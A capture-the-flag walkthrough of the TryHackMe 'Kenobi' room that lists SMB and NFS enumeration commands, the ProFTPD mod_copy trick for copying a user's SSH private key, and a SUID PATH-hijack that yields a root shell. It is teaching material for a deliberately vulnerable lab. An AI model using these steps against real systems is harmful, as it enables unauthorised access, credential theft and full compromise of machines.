# Kenobi

Try this exercise in [TryHackMe: **Kenobi**](https://tryhackme.com/r/room/kenobi)

## Deploy the vulnerable machine

Run an initial nmap scan to know how many open ports

```bash
nmap -sV -sC 10.10.X.X -oN ~/kenobi/nmap-initial
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FyIGuev0NbDoiWQCa6dbd%2FScreenshot_2024-08-17_at_18.48.40.png?alt=media&#x26;token=d9a991f4-a156-4764-91be-4ff1f9fcdae5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FhdjhrUiRcugkv4FYb2XK%2F4ff4fea5-907a-47ab-9347-d6cc13df711f.png?alt=media&#x26;token=d073d66c-c0e9-4fd2-b26d-2da4ed0aab1f" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FCvTofDx4DsBNJ5TJp5oN%2Fedc3ec7e-4119-4d83-9cb6-7c9c42b967e1.png?alt=media&#x26;token=73dc6c2b-822e-4b6e-93ab-715e542b2ad7" alt="" width="563"><figcaption></figcaption></figure>

## Enumerating Samba for shares

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers, and other commonly shared resources on a company's intranet or internet. It is often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

SMB has two ports, 445 and 139.

![](https://i.imgur.com/bkgVNy3.png)

Using nmap we can enumerate a machine for SMB shares.

Nmap can run to automate a wide variety of networking tasks. There is a script to enumerate shares!

{% code overflow="wrap" %}

```bash
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.X.X -oN nmap-smb-enum-shares
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FzCz7srdxvteUlRR6vox0%2FScreenshot_2024-08-17_at_16.49.48.png?alt=media&#x26;token=dbd27832-abac-4451-a68d-35f436a71f71" alt="" width="563"><figcaption></figcaption></figure>

Let'sOn most distributions of Linux smbclient is already installed. Lets inspect one of the shares:&#x20;

```bash
smbclient //10.10.X.X/anonymous
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F0SHSusGkgrajckiK1TJO%2FScreenshot_2024-08-17_at_18.02.31.png?alt=media&#x26;token=a30598e1-5981-4313-9dc2-acc0a5f79fc8" alt="" width="563"><figcaption></figcaption></figure>

You can recursively download the SMB share too. Submit the username and password as nothing.

```bash
smbget -R smb://10.10.X.X/anonymous
```

Open the file on the share. There are a few interesting things found.

* Information generated for Kenobi when generating an SSH key for the user
* Information about the ProFTPD server.

{% hint style="warning" %}
Since **`smbget -R smb://10.10.X.X/anonymous`** is not working on my Kali machine, we’ll use **`mget *`** to download all files from the current remote directory

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FRknX7dSOe2DD0prGnYvt%2F848c9e2b-ff2e-45d1-9bee-236fcadd5783.png?alt=media&#x26;token=1f26e7a2-f5b1-43f0-92ef-4fc9f81c7b96" alt="" data-size="original">
{% endhint %}

```bash
mget *
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FDDDQedvyvvE4KmDRLfuA%2FScreenshot_2024-08-17_at_18.33.19.png?alt=media&#x26;token=ec93a3f4-5f35-4ff6-bdc8-1630b5920f13" alt="" width="563"><figcaption></figcaption></figure>

We can also use this, as an alternative, to extract the **log.txt** file to our machine:

```bash
get log.txt
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FHNC5J5lTrg7mWAH7XSyR%2FScreenshot_2024-08-17_at_18.04.36.png?alt=media&#x26;token=d53603bd-f227-460d-a9a4-3ad07e1562d6" alt="" width="563"><figcaption></figcaption></figure>

<details>

<summary>Open log.txt and check if we can see valuable info.</summary>

```bash
cat log.txt
```

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FS2p0WuBIWHu1k7ks5bqO%2FScreenshot_2024-08-17_at_18.07.46.png?alt=media&#x26;token=06bd6255-0c0d-4a34-b1f5-48e56c1ccfb6" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FNSCxFA9kd4DCEMJSKDoN%2FScreenshot_2024-08-17_at_18.15.01.png?alt=media&#x26;token=669697d4-c12f-435e-9d3b-b052cf9073af" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FKmFOKjkGd5slLjaM08FA%2FScreenshot_2024-08-17_at_18.15.20.png?alt=media&#x26;token=4002ad75-e4e6-4650-90f1-af04c50dd62d" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fhq4U36n0AAdEHrXRNU2S%2FScreenshot_2024-08-17_at_18.15.38.png?alt=media&#x26;token=e5285935-5da9-4cac-b5d7-e716e0e49eb9" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fa5ClU501zGAhye9UfIng%2FScreenshot_2024-08-17_at_18.15.51.png?alt=media&#x26;token=8b4c16f2-9cb2-4b2d-a43e-68ec8c973580" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FSIyWzFi0gJ7zesWLPNic%2FScreenshot_2024-08-17_at_18.16.10.png?alt=media&#x26;token=a242f2d0-77d5-42df-91ca-acdf24d6a364" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fv59oYqghit4aeXofiFNf%2FScreenshot_2024-08-17_at_18.16.26.png?alt=media&#x26;token=7e81f95c-17fc-484d-af30-f7f9f769cb04" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FT3Ql2QkEEcHF86mjwJqo%2FScreenshot_2024-08-17_at_18.16.43.png?alt=media&#x26;token=7002e4f8-0d33-40bf-b404-6e072722993a" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FBCn3URA1hP5pruXpXYk9%2FScreenshot_2024-08-17_at_18.16.59.png?alt=media&#x26;token=7663ffda-9522-4170-978d-52b792813c3a" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FxuswB18UWPCYE9JsrJWo%2FScreenshot_2024-08-17_at_18.17.14.png?alt=media&#x26;token=e781de3d-7674-4208-8cef-1dc521d55a2e" alt="" data-size="original">

<img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FZUfjebj3qvKKd1dT5ZVY%2FScreenshot_2024-08-17_at_18.18.58.png?alt=media&#x26;token=b215e91c-f27d-4355-b2d2-10cd8e5eccbf" alt="" data-size="original">

</details>

The earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program numbers into universal addresses. When an RPC service is started, it tells rpcbind the address it is listening to and the RPC program number it's prepared to serve.

In our case, port 111 is access to a network file system. Let's use nmap to enumerate this.

```bash
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.X.X
```

{% hint style="info" %}
**`--script=nfs-ls,nfs-statfs,nfs-showmount`**: This runs NFS-related scripts to gather details from the target. Here's what each script does:

* **`nfs-ls`**: Lists the files and directories shared via NFS on the target
* **`nfs-statfs`**: Gets file system info, like disk space and block size, from the NFS server
* **`nfs-showmount`**: Shows which directories are shared (exported) and accessible by clients
  {% endhint %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F2p9Gd6sePkrXtnElf9es%2FScreenshot_2024-08-17_at_17.59.58.png?alt=media&#x26;token=bd2c9c1b-8ffd-4812-8e4a-43ea5dbfc3d1" alt="" width="563"><figcaption></figcaption></figure>

## Gain initial access with ProFtpd

To get the version of ProFtpd, use netcat to connect to the machine on the FTP port.

```bash
nc 10.10.X.X 21
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FFqlB3Nalhwa0xyeEVrDi%2FScreenshot_2024-08-17_at_18.52.09.png?alt=media&#x26;token=e3dd551e-6525-4e38-a293-b5488cd3fbf8" alt="" width="563"><figcaption></figcaption></figure>

We can use searchsploit to find exploits for a particular software version. Searchsploit is basically just a command line search tool for [exploit-db.com](http://exploit-db.com/).

```bash
searchsploit proftpd 1.3.5
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FQZwjrCebtiu3BIJiCDcV%2FScreenshot_2024-08-17_at_18.53.47.png?alt=media&#x26;token=9e46fa24-b2bf-4f05-8e38-ee98f3a45413" alt="" width="563"><figcaption></figcaption></figure>

You should have found an exploit from ProFtpd's [mod\_copy module](http://www.proftpd.org/docs/contrib/mod_copy.html).

The mod\_copy module implements **SITE CPFR** and **SITE CPTO** commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

We're now going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.

{% code lineNumbers="true" %}

```bash
nc 10.10.X.X 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp.id_rsa
```

{% endcode %}

**`SITE CPFR /home/kenobi/.ssh/id_rsa`** specifies the **source** file/directory to use for copying from one place to another directly on the server

**`SITE CPTO /var/tmp.id_rsa`** specifies the **destination** file/directory to use for copying from one place to another directly on the server

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FcDAZTbp2GuVBJLiF6OnY%2FScreenshot_2024-08-17_at_19.10.56.png?alt=media&#x26;token=747bf7ac-fe8e-465b-b26f-673c756f06c5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FbHA9CJbNz4yzaT00T0CI%2FScreenshot_2024-08-17_at_19.11.38.png?alt=media&#x26;token=c31cb929-9389-4920-97ba-84ab883a2a17" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FHBOOF9xHLeCllFOOE04u%2FScreenshot_2024-08-17_at_19.12.03.png?alt=media&#x26;token=7e001355-cd7d-41bf-9a82-f0f5315dac8d" alt="" width="563"><figcaption></figcaption></figure>

Lets mount the /var/tmp directory to our machine:

{% code lineNumbers="true" %}

```bash
sudo mkdir /mnt/kenobiNFS
sudo mount 10.10.X.X:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FkiQneXHXan27HaxBow2C%2FScreenshot_2024-08-17_at_19.17.18.png?alt=media&#x26;token=5d4fbab9-aa3a-41f9-ae81-bdb955e4a2b3" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FeyWycmTTjhqPA5613Mmi%2FScreenshot_2024-08-17_at_19.18.34.png?alt=media&#x26;token=cd405c48-23ef-4612-8f5d-08e59f4eee20" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F10xhdoUyDd5pauhR5Ha0%2FScreenshot_2024-08-17_at_19.19.20.png?alt=media&#x26;token=05b21bd5-bad8-42c5-9cdf-c6fba3635798" alt="" width="563"><figcaption></figcaption></figure>

We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi's account.

{% code lineNumbers="true" %}

```bash
cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.X.X
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FqDDtaLQX4skAazv5jdpV%2FScreenshot_2024-08-17_at_19.25.53.png?alt=media&#x26;token=5629e852-b71c-4c93-992b-7bcfb6215c01" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FXze7PyJXiT9O92hqaPzi%2FScreenshot_2024-08-17_at_19.26.13.png?alt=media&#x26;token=7980aa96-4a83-4c2c-9e75-1317ad790a06" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FbOtw7tHAi12kR64t4tiF%2FScreenshot_2024-08-17_at_19.26.34.png?alt=media&#x26;token=63955fc8-8b22-4f91-9ae5-4aece88af233" alt="" width="563"><figcaption></figcaption></figure>

We’ll get the `user.txt` file

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FY9f1a2EwDlC07Uh4O3Y9%2FScreenshot_2024-08-17_at_19.26.57.png?alt=media&#x26;token=59c06314-826f-4323-b4a4-dd17997ed3d1" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation with Path Variable Manipulation

Let's first understand what SUID, SGID, and Sticky Bits are.

![](https://i.imgur.com/LN2uOCJ.png)

| **Permission** | **On Files**                                                     | **On Directories**                                        |
| -------------- | ---------------------------------------------------------------- | --------------------------------------------------------- |
| SUID Bit       | User executes the file with permissions of the *file* owner      | -                                                         |
| SGID Bit       | User executes the file with the permission of the *group* owner. | File created in directory gets the same group owner.      |
| Sticky Bit     | No meaning                                                       | Users are prevented from deleting files from other users. |

SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as it's resetting your password on the system), however, other custom files could that have the SUID bit can lead to all sorts of issues.

To search the system for these types of files run the following:

```bash
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FJyUrP9DPvGERfl3Ispr4%2FScreenshot_2024-08-17_at_20.38.24.png?alt=media&#x26;token=30d9ff09-f27d-4f6c-b143-9cf6b02a8453" alt="" width="563"><figcaption></figcaption></figure>

or use the one below:&#x20;

```bash
find / -perm -u=s -type f -exec ls -l {} \; 2>/dev/null
```

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F2YQt1IFySOpNljIU9QDg%2FScreenshot_2024-08-17_at_20.47.15.png?alt=media&#x26;token=9e293d0d-94ae-458b-8978-65ccf0ba5b9f" alt="" width="563"><figcaption></figcaption></figure>

Check all paths, and we'll discover that the **`/usr/bin/menu`** file looks particularly out of the ordinary.

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F4cvAPzuiOeefAyK9ujUv%2FScreenshot_2024-08-17_at_20.54.14.png?alt=media&#x26;token=c9258e64-8c52-42bb-a43f-ad23b8285a54" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FX0Fki8f63NgTYQc6FwNP%2FScreenshot_2024-08-17_at_20.55.00.png?alt=media&#x26;token=3ceae81a-d0ac-4906-b58d-fbbe0ff53f52" alt="" width="563"><figcaption></figcaption></figure>

When we run the `/usr/bin/menu` binary, the readable options are:

{% code lineNumbers="true" %}

```bash
curl -I localhost
uname -r
ifconfig
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FRvlVXWnKlp5Pg4DzM26F%2FScreenshot_2024-08-17_at_20.55.24.png?alt=media&#x26;token=366a1cec-5896-437c-96f2-2e46e0424f12" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fwlb5jTcF7bw5sIt1FF6W%2FScreenshot_2024-08-17_at_20.52.25.png?alt=media&#x26;token=96d28302-a9c8-4066-895b-467f3c1a8176" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FLl0RSbQlRpI46liu35Nc%2FScreenshot_2024-08-17_at_20.52.54.png?alt=media&#x26;token=76aad364-6d4c-4f93-bc6f-5b0b137d1350" alt="" width="563"><figcaption></figcaption></figure>

Strings is a command on Linux that looks for human-readable strings on a binary.

This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).

As this file runs as the root users privileges, we can manipulate our path gain a root shell.

We copied the /bin/sh shell, called it curl, gave it the correct permissions, and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the "curl" binary. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

{% code lineNumbers="true" %}

```bash
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu
```

{% endcode %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F3WzbnqeOtsZSaXWRhiuj%2FScreenshot_2024-08-17_at_21.09.22.png?alt=media&#x26;token=6db7609c-5e97-40bd-ac60-8e69d44d615b" alt="" width="563"><figcaption></figcaption></figure>

We successfully got root access, let’s enumerate and see interesting information and files.

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2Fzozes36ONEZB97Htr3SG%2FScreenshot_2024-08-17_at_21.10.12.png?alt=media&#x26;token=82f8ef44-bcdf-4b62-92ad-aaffa309524d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2F5IeuRlO8AO3IdBUT4MVE%2F9a60f875-54de-419c-9771-ce7d1978b880.png?alt=media&#x26;token=e6454b31-6630-4c36-a2f7-5e158b4e13e0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FrOqNhvThTQQXLIpT9p4G%2FScreenshot_2024-08-17_at_21.09.53.png?alt=media&#x26;token=f2ccb980-14f7-4141-945c-5a3c6d990d41" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="success" %}
Enumerate the server and we'll find the flag in **`root.txt`**
{% endhint %}

<figure><img src="https://290105472-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F89FZKOizBQcf0e0Qdrp8%2Fuploads%2FRMdKV3sg45IxEdjfPJoO%2Fimage.png?alt=media&#x26;token=6d417d2b-d6f4-40d9-9984-2b02dcbd45b8" alt=""><figcaption></figcaption></figure>
